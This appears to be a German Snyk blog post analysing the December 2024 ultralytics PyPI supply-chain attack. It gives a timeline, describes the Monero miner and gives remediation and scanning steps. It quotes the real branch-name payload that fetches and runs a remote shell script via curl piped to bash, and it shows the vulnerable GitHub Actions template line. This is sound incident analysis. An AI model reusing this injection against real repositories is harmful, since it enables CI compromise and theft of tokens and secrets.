Skip to main content

Ultralytics-AI-Pwn-Request-Supply-Chain-Angriff

Artikel von
feature insights context

11. Dezember 2024

0 Min. Lesezeit

Der ultralytics-Supply-Chain-Angriff erfolgte zwischen dem 4. und 7. Dezember 2024 in zwei klar abgegrenzten Phasen. In der ersten Phase wurden zwei schädliche Versionen auf PyPI veröffentlicht: Version 8.3.41 erschien am 4. Dezember um 20:51 UTC und war etwa 12 Stunden lang verfügbar, bis sie am 5. Dezember um 09:15 UTC entfernt wurde. Version 8.3.42 wurde kurz darauf, am 5. Dezember um 12:47 UTC, veröffentlicht und war etwa eine Stunde lang verfügbar, bevor sie um 13:47 UTC entfernt wurde.

Die zweite Phase ereignete sich am 7. Dezember, als der Angreifer zwei weitere schädliche Versionen direkt auf PyPI veröffentlichte und GitHub Actions vollständig umging. Version 8.3.45 wurde um 01:41 UTC veröffentlicht und war etwa 8 Stunden lang bis 10:08 UTC verfügbar. Version 8.3.46 erschien um 02:27 UTC und war etwa 7,5 Stunden lang bis zu ihrer Entfernung um 10:09 UTC verfügbar.

Der Angriff wurde zunächst über mehrere Kanäle erkannt, darunter das automatisierte Missbrauchserkennungssystem von Google Colab, das bereits wenige Stunden nach der ersten Veröffentlichung einer schädlichen Version verdächtige Aktivitäten meldete. Nutzerinnen und Nutzer verschiedener Projekte berichteten von ungewöhnlichen CPU-Auslastungsmustern, und Paket-Maintainer stellten Abweichungen zwischen dem GitHub-Repository und den PyPI-Releases fest.

Die Chronologie des Exploits

2024-06-04       Erster Commit des Snyk GitHub Actions Scanners

Link: https://github.com/snyk-labs/github-actions-scanner

2024-08-14       Adnan Khan meldet GHSA-7x29-qqmq-v6qc an die Ultralytics-Maintainer – Schwachstelle durch Template-Injection

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14       v0.0.3 von ultralytics/actions mit Behebung von GHSA-7x29-qqmq-v6qc veröffentlicht

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24       v0.0.24 von ultralytics/actions führt die Schwachstelle mit Commit c1365ce erneut ein

2024-12-03 22:28:49  @jiwuwgknvm beginnt mit Experimenten für einen als Waffe eingesetzten Angriff

2024-12-03 22:33:47  @jiwuwgknvm reicht PR #17984 ein (inzwischen gelöscht), der einen Token-Stealer in run.sh enthält

2024-12-04 19:33:00  @openimbot reicht PR #18018 mit Template-Injection ein

                  Link: https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00  @openimbot reicht PR #18020 mit einer anderen Template-Injection ein

                  Link: https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00  Release v8.3.41 wird von @UltralyticsAssistant ausgelöst

2024-12-04 20:51:12  Release v8.3.41 auf PyPI erstellt

                  Link: https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00  Google-Colab-Issue #4979 gemeldet – Konto wegen Kryptomining gesperrt

                  Link: https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00  Issue #18027 eröffnet – Abweichung bei PyPI gemeldet

                  Link: https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00  ComfyUI-Issue #843 eröffnet – Meldung zu Kryptomining

                  Link: https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00  Issue #18030 eröffnet – 100 % CPU-Auslastung

                  Link: https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06  v8.3.41 von PyPI entfernt (nach etwa 12 Stunden)

2024-12-05 09:39:00  Comic-translate-Issue #184 eröffnet – Meldung zu Mining

                  Link: https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00  Release v8.3.42 wird von @glenn-jocher ausgelöst

2024-12-05 12:47:29  v8.3.42 auf PyPI erstellt

2024-12-05 13:47:30  v8.3.42 von PyPI entfernt (nach etwa 1 Stunde)

2024-12-05 15:17:00  @glenn-jocher gibt bekannt, dass @openimbot bei Ultralytics gesperrt wurde

2024-12-06 19:51:00  AdvancedLivePortrait-WebUI-Issue #19 eröffnet – Sicherheitswarnung

                  Link: https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45  v8.3.45 direkt auf PyPI veröffentlicht (ohne CI/CD)

2024-12-07 02:27:14  v8.3.46 direkt auf PyPI veröffentlicht (ohne CI/CD)

2024-12-07 04:00:00  Adnan Khan gibt bekannt, dass v8.3.45 und v8.3.46 schädlich sind

2024-12-07 10:08:32  v8.3.45 von PyPI entfernt (nach etwa 8 Stunden)

2024-12-07 10:09:08  v8.3.46 von PyPI entfernt (nach etwa 7,5 Stunden)

Ein Kryptowährungsangriff zum Schürfen von Monero

Die schädlichen Versionen von ultralytics enthielten eine Payload zum Schürfen von Kryptowährungen, die unbemerkt im Hintergrund laufen und erhebliche Systemressourcen beanspruchen sollte. Der Miner war eine Implementierung von XMRig, die speziell für das Schürfen der Kryptowährung Monero konfiguriert war. Die Malware war so ausgefeilt, dass sie die automatisierten Missbrauchserkennungssysteme von Google Colab auslöste. Infolgedessen wurden die Konten einiger Nutzerinnen und Nutzer aufgrund der für Mining typischen hohen CPU-Auslastung vorübergehend gesperrt.

Der Miner wurde durch Änderungen an zwei wichtigen Funktionen in das Paket eingeschleust: safe_download und safe_run. In der ersten Phase wurde ein clientseitiger Downloader in die Funktion safe_download eingefügt, um die eigentliche Mining-Payload abzurufen. Die Funktion safe_run wurde so geändert, dass sie den Miner im Hintergrund ausführte und dessen Ressourcenverbrauch vor beiläufiger Beobachtung zu verbergen versuchte. Die für das Schürfen von Kryptowährungen erforderliche hohe CPU-Auslastung machte die Malware jedoch für viele Nutzerinnen und Nutzer erkennbar.

So bereiten Sie sich auf die Behebung des Ultralytics-Vorfalls vor

Prüfen Sie, ob Ihre Python-Abhängigkeit betroffen ist

Zeiträume der betroffenen Versionen:

v8.3.41: 2024-12-04 20:51 UTC bis 2024-12-05 09:15 UTC (etwa 12 Stunden)

v8.3.42: 2024-12-05 12:47 UTC bis 2024-12-05 13:47 UTC (etwa 1 Stunde)

v8.3.45: 2024-12-07 01:41 UTC bis 2024-12-07 10:08 UTC (etwa 8 Stunden)

v8.3.46: 2024-12-07 02:27 UTC bis 2024-12-07 10:09 UTC (etwa 7,5 Stunden)

So prüfen Sie, ob Sie betroffen sind:

  1. Prüfen Sie die pip install-Protokolle für diese Zeiträume

  2. Prüfen Sie Ihre aktuelle Version: pip show ultralytics

  3. Prüfen Sie die Systemprotokolle für diese Zeiträume auf ungewöhnliche CPU-Aktivität

  4. Prüfen Sie, ob in diesen Zeiträumen automatisierte Builds oder CI/CD-Läufe stattgefunden haben

Projekte, die bekanntermaßen von Ultralytics abhängen

Ultralytics ist eine KI-Bibliothek, die im Python-Ökosystem für KI und maschinelles Lernen weit verbreitet ist, insbesondere für Aufgaben der Computer Vision. Zu den bekannten Projekten zählen:

  • ComfyUI: Nutzt YOLOv8 für die Objekterkennung in zahlreichen beliebten Custom Nodes. Das Projekt hat sich hier zur Situation geäußert. 

  • Comic-Translate: Nutzt YOLO-Modelle zur Texterkennung

  • Roboflow: Integration von YOLOv8 zur Objekterkennung

  • Viele weitere Stable-Diffusion-Tools und Web-UIs

Der Supply-Chain-Angriff auf ultralytics/actions erklärt

Der Angriff nutzte eine ausgefeilte Kette von Schwachstellen in GitHub Actions aus und zielte mit einer als Template-Injection über den Branch-Namen bekannten Technik gezielt auf das Workflow-Automatisierungssystem. Der Angriff lief im Detail wie folgt ab:

Der ursprüngliche Angriff erfolgte über zwei schädliche Pull Requests (PR #18018 und PR #18020), die vom Konto @openimbot eingereicht wurden. Diese PRs nutzten eine Schwachstelle im Workflow format.yml aus, der einen unsicheren pull_request_target-Trigger mit nicht maskierten Template-Ausdrücken kombinierte.

Der Angriff verlief in mehreren Schritten:

Der Angreifer erstellte einen Branch mit einem sorgfältig konstruierten Namen, der Shell-Befehle enthielt:

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

Als der Workflow diesen Branch-Namen verarbeitete, wurde der Template-Ausdruck aufgrund der folgenden anfälligen Zeile direkt im Shell-Kontext expandiert:

git pull origin ${{ github.head_ref || github.ref }}

Der expandierte Befehl lud ein schädliches Shell-Skript herunter und führte es aus. Dieses Skript:

  • Exfiltrierte GitHub-Tokens und Geheimnisse

  • Manipulierte den von setup-python verwendeten pip-Cache

  • Änderte Release-Distributionen, um den Kryptowährungs-Miner einzuschleusen

  • Stahl möglicherweise PyPI-API-Zugangsdaten

Die Schwachstelle war besonders wirksam, weil eine benutzerdefinierte Action in ultralytics/actions ausgenutzt wurde, die ein zuvor behobenes Sicherheitsproblem erneut eingeführt hatte.

Scannen mit Snyk Open Source

Die Schwachstellendatenbank und die CLI-Tools von Snyk können Ihnen dabei helfen festzustellen, ob Sie eine kompromittierte Version des Ultralytics-Pakets verwenden. Sie können außerdem dazu dienen, Open-Source-Projekte zu testen. So scannen Sie Ihr Projekt:

1. Installieren Sie die Snyk CLI:

npm install -g snyk

2. Authentifizieren Sie sich bei Snyk:

snyk auth

3. Scannen Sie Ihr Python-Projekt:

snyk test

So finden Sie heraus, ob Sie eine der bekannten schädlichen Versionen (8.3.41, 8.3.42, 8.3.45 oder 8.3.46) des Ultralytics-Pakets verwenden. Außerdem werden Ihre Abhängigkeiten auf weitere potenzielle Schwachstellen geprüft.

Nutzen Sie den Snyk GitHub Actions Scanner in Ihrem DevSecOps-Toolkit

Der Snyk GitHub Actions Scanner ist ein Open-Source-Tool, mit dem sich anfällige GitHub-Actions-Konfigurationen erkennen lassen, wie sie bei diesem Vorfall ausgenutzt wurden. Das Tool ist kein offizielles Snyk-Produkt, aber eine wertvolle Ergänzung Ihres DevSecOps-Toolkits.

So verwenden Sie den Scanner:

1. Klonen Sie das Repository und installieren Sie die Abhängigkeiten:

git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install

2. Richten Sie Ihr GitHub-Token ein:

echo "GITHUB_TOKEN=your-token-here" > .env

3. Scannen Sie ein Repository:

npm start scan-repo -- -u https://github.com/your/repo

Der Scanner sucht nach mehreren kritischen Problemen, darunter:

  • PWN_REQUEST: Erkennt Workflows, die pull_request_target verwenden und zugleich Branches von Pull Requests auschecken – genau die Schwachstelle, die bei diesem Vorfall ausgenutzt wurde. Das ist gefährlich, weil pull_request_target mit den Repository-Geheimnissen ausgeführt wird, aber von nicht vertrauenswürdigen externen Mitwirkenden ausgelöst werden kann.

  • CMD_EXEC: Erkennt nicht maskierte Template-Ausdrücke wie ${{ }} in run-Direktiven, die zu Command Injection führen können.

Für einen umfassenderen Scan, der referenzierte Actions prüft:

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

Dabei werden referenzierte Actions bis zu einer Tiefe von fünf Ebenen geprüft, um Schwachstellen in Ihrer gesamten Action-Kette zu erkennen.

KI-Sicherheitsrisiken und Supply-Chain-Sicherheit

Der Vorfall mit ultralytics reiht sich in die lange Liste der Sicherheitsverletzungen in Open-Source-Supply-Chains ein. Sowohl npm als auch die PyPI-Registries sind von Malware-Angriffen betroffen, die häufig auf Kryptowährungen abzielen. Oft führen die Ursachen zurück zu Sicherheitspraktiken der Maintainer und einer sicheren Projektkonfiguration. Dieser GitHub-Actions-Angriff zeigt, wie wichtig es ist, bewährte Sicherheitspraktiken konsequent einzuhalten.

KI-Sicherheitsrisiken beschränken sich nicht auf Vorfälle in Open-Source-Supply-Chains, sondern betreffen auch das maschinelle Lernen und Modell-Registries. Bedrohungen wie Remote Code Execution können Entwicklerinnen und Entwickler über Schwachstellen in Deep-Learning-Dateiformaten und unsicheren, KI-generierten Code, den Entwicklerinnen und Entwickler häufig mithilfe von LLMs einsetzen treffen.

Erfahren Sie, wie Sie mit Snyk KI-generierten Code absichern.

Gestalten Sie mit Snyk die Zukunft von Coding-Assistenten

Erfahren Sie mehr über Coding-Assistenten und wie Sie diese Tools in Entwicklungs-Workflows integrieren.